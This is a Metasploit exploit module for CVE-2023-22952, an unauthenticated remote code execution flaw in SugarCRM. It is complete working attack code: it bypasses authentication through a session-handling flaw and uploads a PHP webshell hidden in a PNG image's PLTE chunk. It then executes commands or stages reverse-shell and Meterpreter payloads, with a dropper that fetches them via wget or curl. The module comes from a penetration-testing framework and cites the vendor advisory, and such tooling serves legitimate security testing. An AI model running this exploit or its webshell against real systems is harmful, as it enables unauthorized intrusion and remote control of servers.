##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'securerandom'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Format::PhpPayloadPng

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SugarCRM unauthenticated Remote Code Execution (RCE)',
        'Description' => %q{
          This module exploits CVE-2023-22952, a Remote Code Execution (RCE) vulnerability in SugarCRM 11.0 Enterprise,
          Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and
          Serve versions prior to 12.0.2.

          The vulnerability occurs due to a lack of appropriate validation when uploading a malicious PNG file with
          embedded PHP code to the /cache/images/ directory on the web server using the vulnerable endpoint
          /index.php?module=EmailTemplates&action=AttachFiles. Once uploaded to the server, depending on server configuration,
          the attacker can access the malicious PNG file via HTTP or HTTPS, thereby executing the malicious PHP code and
          gaining access to the system.

          This vulnerability does not require authentication because there is a missing authentication check in the
          loadUser() method in include/MVC/SugarApplication.php. After a failed login, the session does not get
          destroyed and hence the attacker can continue to send valid requests to the application.

          Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain
          access to the underlying operating system as the user that the web services are running as (typically www-data).
        },
        'Author' => [
          'Sw33t.0day', # discovery
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2023-22952' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2022/Dec/31' ],
          [ 'URL', 'https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001/' ],
          [ 'URL', 'https://sugarclub.sugarcrm.com/engage/b/sugar-news/posts/jan-5-2023-security-vulnerability-update' ],
          [ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-22952' ],
          [ 'PACKETSTORM', '170346' ]
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-12-28',
        'DefaultOptions' => {
          'SSL' => false,
          'RPORT' => 80
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'SugarCRM base url', '/' ]),
        OptString.new('WEBSHELL', [
          false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''
        ]),
        OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])
      ]
    )
  end

  def authenticate
    # generate PHP session-id
    @phpsessid = "PHPSESSID=#{SecureRandom.uuid}"

    # randomize user and password to obfuscate and make finger printing difficult.
    user_name = Rex::Text.rand_name
    user_password = Rex::Text.rand_text_alphanumeric(8..16)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
      'cookie' => @phpsessid.to_s,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'module' => 'Users',
        'action' => 'Authenticate',
        'user_name' => user_name.to_s,
        'user_password' => user_password.to_s
      }
    })
    if res && res.code == 500 && !res.body.blank?
      return true
    else
      return false
    end
  end

  def upload_webshell
    # randomize file name and extension if option WEBSHELL is not set
    file_ext = ['phar', 'phtml']
    if datastore['WEBSHELL'].blank?
      @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}"
    else
      @webshell_name = datastore['WEBSHELL'].to_s
    end

    # select webshell depending on the target setting (PHP or others).
    @post_param = Rex::Text.rand_text_alphanumeric(1..8)
    @get_param = Rex::Text.rand_text_alphanumeric(1..8)

    if target['Type'] == :php
      payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"
    else
      payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"
    end

    # inject PHP payload into the PLTE chunk of the PNG image
    png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE')
    if png_webshell.nil?
      return false
    end

    # construct multipart form data
    form_data = Rex::MIME::Message.new
    form_data.add_part('AttachFiles', nil, nil, 'form-data; name="action"')
    form_data.add_part('EmailTemplates', nil, nil, 'form-data; name="module"')
    form_data.add_part(png_webshell.to_s, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"#{@webshell_name}\"")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
      'cookie' => @phpsessid.to_s,
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    })
    if res && res.code == 200 && !res.body.blank?
      # parse HTML to find the webshell name embedded in a table that indicates a successful upload
      html = res.get_html_document
      if html.at("td[contains(\"#{@webshell_name}\")]")
        return true
      else
        return false
      end
    else
      return false
    end
  end

  def execute_php(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    return send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),
      'cookie' => @phpsessid.to_s,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        @post_param => payload
      }
    })
  end

  def execute_command(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    php_cmd_function = datastore['COMMAND']
    return send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),
      'cookie' => @phpsessid.to_s,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => {
        @get_param => php_cmd_function
      },
      'vars_post' => {
        @post_param => payload
      }
    })
  end

  def exploit
    fail_with(Failure::NoAccess, 'Authentication bypass failed.') unless authenticate
    fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_webshell
    register_file_for_cleanup(@webshell_name.to_s)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :php
      execute_php(payload.encoded)
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 65536)
    end
  end
end
